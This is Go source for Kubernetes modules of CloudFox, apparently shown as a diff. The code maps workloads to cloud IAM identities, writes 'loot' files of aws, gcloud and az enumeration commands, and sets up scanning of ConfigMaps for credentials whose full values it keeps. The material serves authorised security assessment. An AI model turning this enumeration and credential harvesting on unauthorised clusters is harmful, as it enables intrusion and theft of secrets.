findings = deduplicateCloudIAMFindings(findings)
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectNodeCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
nodes, err := clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list nodes: %v", err), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, node := range nodes.Items {
|
||||
cloudProvider := k8sinternal.DetectCloudProviderFromNode(node.Spec.ProviderID)
|
||||
if cloudProvider == "" || cloudProvider == "Unknown" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Check for IAM role from node labels
|
||||
cloudRole := k8sinternal.DetectCloudRoleFromNodeLabels(node.Labels)
|
||||
|
||||
// For AWS nodes, extract role from provider ID if available
|
||||
if cloudProvider == "AWS" && cloudRole == "" {
|
||||
// AWS nodes typically have IAM roles attached via instance profiles
|
||||
// The role is detectable via IMDS, but we note that IAM access is available
|
||||
cloudRole = extractAWSNodeRole(node.Spec.ProviderID, node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// For GCP nodes, check for service account
|
||||
if cloudProvider == "GCP" && cloudRole == "" {
|
||||
cloudRole = extractGCPNodeServiceAccount(node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// For Azure nodes, check for managed identity
|
||||
if cloudProvider == "Azure" && cloudRole == "" {
|
||||
cloudRole = extractAzureNodeIdentity(node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// Even without explicit role, nodes in cloud have implicit IAM access
|
||||
if cloudRole == "" {
|
||||
cloudRole = "(instance profile/metadata available)"
|
||||
}
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: "",
|
||||
Scope: "Cluster",
|
||||
ResourceType: "Node",
|
||||
ResourceName: node.Name,
|
||||
CloudProvider: cloudProvider,
|
||||
CloudIdentity: cloudRole,
|
||||
IdentityType: getNodeIdentityType(cloudProvider),
|
||||
Source: "node provider ID / labels",
|
||||
})
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectServiceAccountCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
sas, err := clientset.CoreV1().ServiceAccounts(ns).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, sa := range sas.Items {
|
||||
// Check AWS EKS IRSA annotation
|
||||
if roleARN, ok := sa.Annotations["eks.amazonaws.com/role-arn"]; ok && roleARN != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: roleARN,
|
||||
IdentityType: "IAM Role (IRSA)",
|
||||
Source: "annotation: eks.amazonaws.com/role-arn",
|
||||
})
|
||||
}
|
||||
|
||||
// Check GCP Workload Identity annotation
|
||||
if gcpSA, ok := sa.Annotations["iam.gke.io/gcp-service-account"]; ok && gcpSA != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "GCP",
|
||||
CloudIdentity: gcpSA,
|
||||
IdentityType: "Service Account (Workload Identity)",
|
||||
Source: "annotation: iam.gke.io/gcp-service-account",
|
||||
})
|
||||
}
|
||||
|
||||
// Check Azure Workload Identity annotation
|
||||
if azureClientID, ok := sa.Annotations["azure.workload.identity/client-id"]; ok && azureClientID != "" {
|
||||
identityStr := azureClientID
|
||||
if tenantID, ok := sa.Annotations["azure.workload.identity/tenant-id"]; ok {
|
||||
identityStr = fmt.Sprintf("%s (tenant: %s)", azureClientID, tenantID)
|
||||
}
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "Azure",
|
||||
CloudIdentity: identityStr,
|
||||
IdentityType: "Managed Identity (Workload Identity)",
|
||||
Source: "annotation: azure.workload.identity/client-id",
|
||||
})
|
||||
}
|
||||
|
||||
// Check for AWS Pod Identity Associations (via CRD lookup)
|
||||
if dynamicClient != nil {
|
||||
awsInfo := checkAWSPodIdentityForSA(ctx, dynamicClient, ns, sa.Name)
|
||||
if awsInfo.RoleARN != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: awsInfo.RoleARN,
|
||||
IdentityType: "IAM Role (Pod Identity)",
|
||||
Source: fmt.Sprintf("CRD: PodIdentityAssociation/%s", awsInfo.Name),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectPodCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
pods, err := clientset.CoreV1().Pods(ns).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, pod := range pods.Items {
|
||||
// Use the existing DetectCloudRole function
|
||||
roleResults := k8sinternal.DetectCloudRole(ctx, clientset, pod.Namespace, pod.Spec.ServiceAccountName, &pod.Spec, pod.Annotations)
|
||||
|
||||
for _, result := range roleResults {
|
||||
// Skip if this is from ServiceAccount (already captured above)
|
||||
if strings.Contains(result.Source, "serviceaccount") {
|
||||
continue
|
||||
}
|
||||
|
||||
controllerType, controllerName := getControllerInfo(&pod)
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "Pod",
|
||||
ResourceName: pod.Name,
|
||||
CloudProvider: result.Provider,
|
||||
CloudIdentity: result.Role,
|
||||
IdentityType: getIdentityTypeFromProvider(result.Provider),
|
||||
Source: result.Source,
|
||||
ControllerType: controllerType,
|
||||
ControllerName: controllerName,
|
||||
ServiceAccount: pod.Spec.ServiceAccountName,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectAWSPodIdentityAssociations(ctx context.Context, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
if dynamicClient == nil {
|
||||
return findings
|
||||
}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "eks.amazonaws.com",
|
||||
Version: "v1alpha1",
|
||||
Resource: "podidentityassociations",
|
||||
}
|
||||
|
||||
// Try cluster-scoped first
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
// CRD not installed or no permissions
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
namespace := getNestedStringCloudIAM(spec, "namespace")
|
||||
if namespace == "" {
|
||||
namespace = item.GetNamespace()
|
||||
}
|
||||
saName := getNestedStringCloudIAM(spec, "serviceAccountName")
|
||||
roleARN := getNestedStringCloudIAM(spec, "roleArn")
|
||||
|
||||
if roleARN != "" && saName != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: namespace,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "PodIdentityAssociation",
|
||||
ResourceName: item.GetName(),
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: roleARN,
|
||||
IdentityType: "IAM Role (Pod Identity)",
|
||||
Source: "CRD: eks.amazonaws.com/v1alpha1/PodIdentityAssociation",
|
||||
ServiceAccount: saName,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectAzureIdentityBindings(ctx context.Context, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
if dynamicClient == nil {
|
||||
return findings
|
||||
}
|
||||
|
||||
// Check for AzureIdentityBinding (AAD Pod Identity v1)
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "aadpodidentity.k8s.io",
|
||||
Version: "v1",
|
||||
Resource: "azureidentitybindings",
|
||||
}
|
||||
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
// CRD not installed
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
azureIdentityRef := getNestedStringCloudIAM(spec, "azureIdentity")
|
||||
selector := getNestedStringCloudIAM(spec, "selector")
|
||||
|
||||
if azureIdentityRef != "" {
|
||||
// Lookup the AzureIdentity to get the client ID
|
||||
clientID := lookupAzureIdentityClientID(ctx, dynamicClient, item.GetNamespace(), azureIdentityRef)
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: item.GetNamespace(),
|
||||
Scope: "Namespace",
|
||||
ResourceType: "AzureIdentityBinding",
|
||||
ResourceName: item.GetName(),
|
||||
CloudProvider: "Azure",
|
||||
CloudIdentity: clientID,
|
||||
IdentityType: "Managed Identity (AAD Pod Identity)",
|
||||
Source: fmt.Sprintf("CRD: AzureIdentityBinding (selector: %s)", selector),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func lookupAzureIdentityClientID(ctx context.Context, dynamicClient dynamic.Interface, namespace, name string) string {
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "aadpodidentity.k8s.io",
|
||||
Version: "v1",
|
||||
Resource: "azureidentities",
|
||||
}
|
||||
|
||||
// Try namespace-scoped first
|
||||
identity, err := dynamicClient.Resource(gvr).Namespace(namespace).Get(ctx, name, metav1.GetOptions{})
|
||||
if err != nil {
|
||||
// Try cluster-scoped
|
||||
identity, err = dynamicClient.Resource(gvr).Get(ctx, name, metav1.GetOptions{})
|
||||
if err != nil {
|
||||
return name // Return the reference name if lookup fails
|
||||
}
|
||||
}
|
||||
|
||||
spec, found, _ := getNestedMapCloudIAM(identity.Object, "spec")
|
||||
if !found {
|
||||
return name
|
||||
}
|
||||
|
||||
clientID := getNestedStringCloudIAM(spec, "clientID")
|
||||
if clientID != "" {
|
||||
return clientID
|
||||
}
|
||||
|
||||
resourceID := getNestedStringCloudIAM(spec, "resourceID")
|
||||
if resourceID != "" {
|
||||
return resourceID
|
||||
}
|
||||
|
||||
return name
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func extractAWSNodeRole(providerID string, labels, annotations map[string]string) string {
|
||||
// Check common AWS node labels/annotations for IAM role info
|
||||
roleLabels := []string{
|
||||
"iam.amazonaws.com/role",
|
||||
"eks.amazonaws.com/nodegroup",
|
||||
"alpha.eksctl.io/iamidentitymapping",
|
||||
}
|
||||
for _, label := range roleLabels {
|
||||
if role, ok := labels[label]; ok && role != "" {
|
||||
return role
|
||||
}
|
||||
if role, ok := annotations[label]; ok && role != "" {
|
||||
return role
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractGCPNodeServiceAccount(labels, annotations map[string]string) string {
|
||||
// Check for GCP service account in labels/annotations
|
||||
saLabels := []string{
|
||||
"iam.gke.io/gke-metadata-server-enabled",
|
||||
"cloud.google.com/gke-nodepool",
|
||||
}
|
||||
for _, label := range saLabels {
|
||||
if sa, ok := labels[label]; ok && sa != "" {
|
||||
return sa
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractAzureNodeIdentity(labels, annotations map[string]string) string {
|
||||
// Check for Azure managed identity in labels/annotations
|
||||
miLabels := []string{
|
||||
"kubernetes.azure.com/managed-identity-client-id",
|
||||
"aadpodidentity.k8s.io/assigned-identity",
|
||||
}
|
||||
for _, label := range miLabels {
|
||||
if mi, ok := labels[label]; ok && mi != "" {
|
||||
return mi
|
||||
}
|
||||
if mi, ok := annotations[label]; ok && mi != "" {
|
||||
return mi
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getNodeIdentityType(provider string) string {
|
||||
switch provider {
|
||||
case "AWS":
|
||||
return "Instance Profile / IAM Role"
|
||||
case "GCP":
|
||||
return "Node Service Account"
|
||||
case "Azure":
|
||||
return "Node Managed Identity"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func getIdentityTypeFromProvider(provider string) string {
|
||||
switch provider {
|
||||
case "AWS":
|
||||
return "IAM Role"
|
||||
case "GCP":
|
||||
return "Service Account"
|
||||
case "Azure":
|
||||
return "Managed Identity"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func getControllerInfo(pod *corev1.Pod) (string, string) {
|
||||
for _, ref := range pod.OwnerReferences {
|
||||
if ref.Controller != nil && *ref.Controller {
|
||||
return ref.Kind, ref.Name
|
||||
}
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func checkAWSPodIdentityForSA(ctx context.Context, dynamicClient dynamic.Interface, namespace, saName string) struct{ Name, RoleARN string } {
|
||||
result := struct{ Name, RoleARN string }{}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "eks.amazonaws.com",
|
||||
Version: "v1alpha1",
|
||||
Resource: "podidentityassociations",
|
||||
}
|
||||
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
itemNS := getNestedStringCloudIAM(spec, "namespace")
|
||||
if itemNS == "" {
|
||||
itemNS = item.GetNamespace()
|
||||
}
|
||||
itemSA := getNestedStringCloudIAM(spec, "serviceAccountName")
|
||||
roleARN := getNestedStringCloudIAM(spec, "roleArn")
|
||||
|
||||
if itemNS == namespace && itemSA == saName && roleARN != "" {
|
||||
result.Name = item.GetName()
|
||||
result.RoleARN = roleARN
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func getNestedMapCloudIAM(obj map[string]interface{}, key string) (map[string]interface{}, bool, error) {
|
||||
val, ok := obj[key]
|
||||
if !ok {
|
||||
return nil, false, nil
|
||||
}
|
||||
m, ok := val.(map[string]interface{})
|
||||
return m, ok, nil
|
||||
}
|
||||
|
||||
func getNestedStringCloudIAM(obj map[string]interface{}, key string) string {
|
||||
val, ok := obj[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
s, ok := val.(string)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func deduplicateCloudIAMFindings(findings []CloudIAMFinding) []CloudIAMFinding {
|
||||
seen := make(map[string]bool)
|
||||
var result []CloudIAMFinding
|
||||
|
||||
for _, f := range findings {
|
||||
// Create a unique key based on resource + cloud identity
|
||||
key := fmt.Sprintf("%s|%s|%s|%s|%s", f.Namespace, f.ResourceType, f.ResourceName, f.CloudProvider, f.CloudIdentity)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
result = append(result, f)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func generateCloudIAMOutput(findings []CloudIAMFinding, logger *internal.Logger) CloudIAMOutput {
|
||||
var output CloudIAMOutput
|
||||
|
||||
// Table headers
|
||||
headers := []string{
|
||||
"Scope",
|
||||
"Namespace",
|
||||
"Resource Type",
|
||||
"Resource Name",
|
||||
"Cloud Provider",
|
||||
"Identity Type",
|
||||
"Cloud Identity",
|
||||
"Source",
|
||||
}
|
||||
|
||||
var rows [][]string
|
||||
for _, f := range findings {
|
||||
namespace := f.Namespace
|
||||
if namespace == "" {
|
||||
namespace = "-"
|
||||
}
|
||||
|
||||
rows = append(rows, []string{
|
||||
f.Scope,
|
||||
namespace,
|
||||
f.ResourceType,
|
||||
f.ResourceName,
|
||||
f.CloudProvider,
|
||||
f.IdentityType,
|
||||
f.CloudIdentity,
|
||||
f.Source,
|
||||
})
|
||||
}
|
||||
|
||||
output.Table = append(output.Table, internal.TableFile{
|
||||
Name: "cloud-iam",
|
||||
Header: headers,
|
||||
Body: rows,
|
||||
})
|
||||
|
||||
// Generate loot files
|
||||
output.Loot = generateCloudIAMLoot(findings)
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
func generateCloudIAMLoot(findings []CloudIAMFinding) []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "# Cloud IAM Identity Mappings")
|
||||
lootContent = append(lootContent, "# Generated by cloudfox kubernetes cloud-iam")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Group by provider
|
||||
awsFindings := filterByProvider(findings, "AWS")
|
||||
gcpFindings := filterByProvider(findings, "GCP")
|
||||
azureFindings := filterByProvider(findings, "Azure")
|
||||
|
||||
if len(awsFindings) > 0 {
|
||||
lootContent = append(lootContent, "## AWS IAM Roles")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range awsFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Role ARN: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add AWS CLI commands to enumerate role
|
||||
if strings.HasPrefix(f.CloudIdentity, "arn:aws:iam::") {
|
||||
roleName := extractRoleNameFromARN(f.CloudIdentity)
|
||||
if roleName != "" {
|
||||
lootContent = append(lootContent, "# Enumerate AWS IAM role:")
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam get-role --role-name %s", roleName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam list-attached-role-policies --role-name %s", roleName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam list-role-policies --role-name %s", roleName))
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(gcpFindings) > 0 {
|
||||
lootContent = append(lootContent, "## GCP Service Accounts")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range gcpFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Service Account: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("K8s Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add gcloud commands
|
||||
if strings.Contains(f.CloudIdentity, "@") && strings.Contains(f.CloudIdentity, ".iam.gserviceaccount.com") {
|
||||
lootContent = append(lootContent, "# Enumerate GCP service account:")
|
||||
lootContent = append(lootContent, fmt.Sprintf("gcloud iam service-accounts describe %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("gcloud iam service-accounts get-iam-policy %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(azureFindings) > 0 {
|
||||
lootContent = append(lootContent, "## Azure Managed Identities")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range azureFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Client ID: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("K8s Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add Azure CLI commands
|
||||
lootContent = append(lootContent, "# Enumerate Azure managed identity:")
|
||||
lootContent = append(lootContent, "az identity list --query \"[?clientId=='"+f.CloudIdentity+"']\"")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "cloud-iam-mappings.md",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
})
|
||||
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
func filterByProvider(findings []CloudIAMFinding, provider string) []CloudIAMFinding {
|
||||
var result []CloudIAMFinding
|
||||
for _, f := range findings {
|
||||
if f.CloudProvider == provider {
|
||||
result = append(result, f)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func extractRoleNameFromARN(arn string) string {
|
||||
// arn:aws:iam::123456789012:role/my-role-name
|
||||
parts := strings.Split(arn, "/")
|
||||
if len(parts) >= 2 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
// Try extracting after :role/
|
||||
if strings.Contains(arn, ":role/") {
|
||||
parts := strings.Split(arn, ":role/")
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func printCloudIAMSummary(findings []CloudIAMFinding, logger *internal.Logger) {
|
||||
// Count by provider
|
||||
providerCounts := make(map[string]int)
|
||||
resourceTypeCounts := make(map[string]int)
|
||||
|
||||
for _, f := range findings {
|
||||
providerCounts[f.CloudProvider]++
|
||||
resourceTypeCounts[f.ResourceType]++
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Found %d cloud IAM identity mappings", len(findings)), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
// Provider breakdown
|
||||
var providerSummary []string
|
||||
for provider, count := range providerCounts {
|
||||
providerSummary = append(providerSummary, fmt.Sprintf("%s: %d", provider, count))
|
||||
}
|
||||
sort.Strings(providerSummary)
|
||||
logger.InfoM(fmt.Sprintf("By provider: %s", strings.Join(providerSummary, ", ")), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
// Resource type breakdown
|
||||
var resourceSummary []string
|
||||
for resourceType, count := range resourceTypeCounts {
|
||||
resourceSummary = append(resourceSummary, fmt.Sprintf("%s: %d", resourceType, count))
|
||||
}
|
||||
sort.Strings(resourceSummary)
|
||||
logger.InfoM(fmt.Sprintf("By resource: %s", strings.Join(resourceSummary, ", ")), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
}
|
||||
@@ -1,957 +0,0 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
)
|
||||
|
||||
var ConfigMapsCmd = &cobra.Command{
|
||||
Use: "configmaps",
|
||||
Aliases: []string{"cm"},
|
||||
Short: "List all cluster ConfigMaps",
|
||||
Long: `
|
||||
List all cluster ConfigMaps and detailed information:
|
||||
cloudfox kubernetes configmaps`,
|
||||
Run: ListConfigMaps,
|
||||
}
|
||||
|
||||
type ConfigMapsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t ConfigMapsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t ConfigMapsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type ConfigMapFinding struct {
|
||||
Namespace string
|
||||
Name string
|
||||
SensitiveKeys []string
|
||||
DangerousPatterns []string
|
||||
AWSCredentials []string
|
||||
GCPCredentials []string
|
||||
GitHubTokens []string
|
||||
PrivateKeys []string
|
||||
Base64Secrets []string
|
||||
ConnectionStrings []string
|
||||
DockerCredentials []string
|
||||
KubeconfigFound bool
|
||||
MountedByPods []string
|
||||
UsageCount int
|
||||
DataSize int
|
||||
DataKeys []string
|
||||
CreationTimestamp string
|
||||
IsImmutable bool
|
||||
Annotations map[string]string
|
||||
CredentialFindings []CredentialFinding
|
||||
}
|
||||
|
||||
type CredentialFinding struct {
|
||||
Type string // "AWS", "GCP", "GitHub", "PrivateKey", etc.
|
||||
Key string // ConfigMap key where found
|
||||
Value string // Actual credential (truncated for display)
|
||||
FullValue string // Full credential value
|
||||
Description string // What this credential is
|
||||
}
|
||||
|
||||
func ListConfigMaps(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Extract global flags
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating configmaps for %s", globals.ClusterName), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Get all pods using cache for mounting analysis
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "pods", "", err, globals.K8S_CONFIGMAPS_MODULE_NAME, false)
|
||||
allPods = []corev1.Pod{}
|
||||
}
|
||||
|
||||
// Get all ConfigMaps using cache
|
||||
allConfigMaps, err := sdk.GetConfigMaps(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "configmaps", "", err, globals.K8S_CONFIGMAPS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Table 1: ConfigMaps Summary
|
||||
summaryHeaders := []string{
|
||||
"Namespace", "Name", "Keys Count", "Data Size", "Pods Mounted", "Immutable", "Has Sensitive Data", "Created",
|
||||
}
|
||||
|
||||
// Table 2: ConfigMap-Keys Detail (one row per configmap/key/pod combination)
|
||||
keysHeaders := []string{
|
||||
"Namespace", "ConfigMap", "Key Name", "Mounted By Pod", "Value Size", "Detected Pattern", "Detected Value",
|
||||
}
|
||||
|
||||
var summaryRows [][]string
|
||||
var keysRows [][]string
|
||||
var findings []ConfigMapFinding
|
||||
|
||||
for _, cm := range allConfigMaps {
|
||||
// Perform comprehensive security analysis
|
||||
finding := analyzeConfigMapSecurity(&cm)
|
||||
|
||||
// Find pods mounting this ConfigMap using pre-fetched pods
|
||||
finding.MountedByPods = findPodsMountingConfigMapCached(allPods, cm.Namespace, cm.Name)
|
||||
finding.UsageCount = len(finding.MountedByPods)
|
||||
|
||||
findings = append(findings, finding)
|
||||
|
||||
// Build summary table row
|
||||
immutableStr := "No"
|
||||
if finding.IsImmutable {
|
||||
immutableStr = "Yes"
|
||||
}
|
||||
|
||||
hasSensitiveData := "No"
|
||||
if len(finding.DangerousPatterns) > 0 || len(finding.SensitiveKeys) > 0 {
|
||||
hasSensitiveData = "Yes"
|
||||
}
|
||||
|
||||
summaryRow := []string{
|
||||
finding.Namespace,
|
||||
finding.Name,
|
||||
fmt.Sprintf("%d", len(finding.DataKeys)),
|
||||
fmt.Sprintf("%d bytes", finding.DataSize),
|
||||
fmt.Sprintf("%d", finding.UsageCount),
|
||||
immutableStr,
|
||||
hasSensitiveData,
|
||||
finding.CreationTimestamp,
|
||||
}
|
||||
summaryRows = append(summaryRows, summaryRow)
|
||||
|
||||
// Build keys table rows - one row per (configmap, key, pod) combination
|
||||
keyPatterns := buildKeyPatternMap(&cm, finding)
|
||||
|
||||
// Build key -> detected value map from credential findings
|
||||
keyValues := make(map[string]string)
|
||||
for _, cf := range finding.CredentialFindings {
|
||||
if _, exists := keyValues[cf.Key]; !exists {
|
||||
keyValues[cf.Key] = cf.Value
|
||||
}
|
||||
}
|
||||
|
||||
if len(finding.MountedByPods) == 0 {
|
||||
for _, keyName := range finding.DataKeys {
|
||||
valueSize := len(cm.Data[keyName])
|
||||
detectedPattern := keyPatterns[keyName]
|
||||
if detectedPattern == "" {
|
||||
detectedPattern = "-"
|
||||
}
|
||||
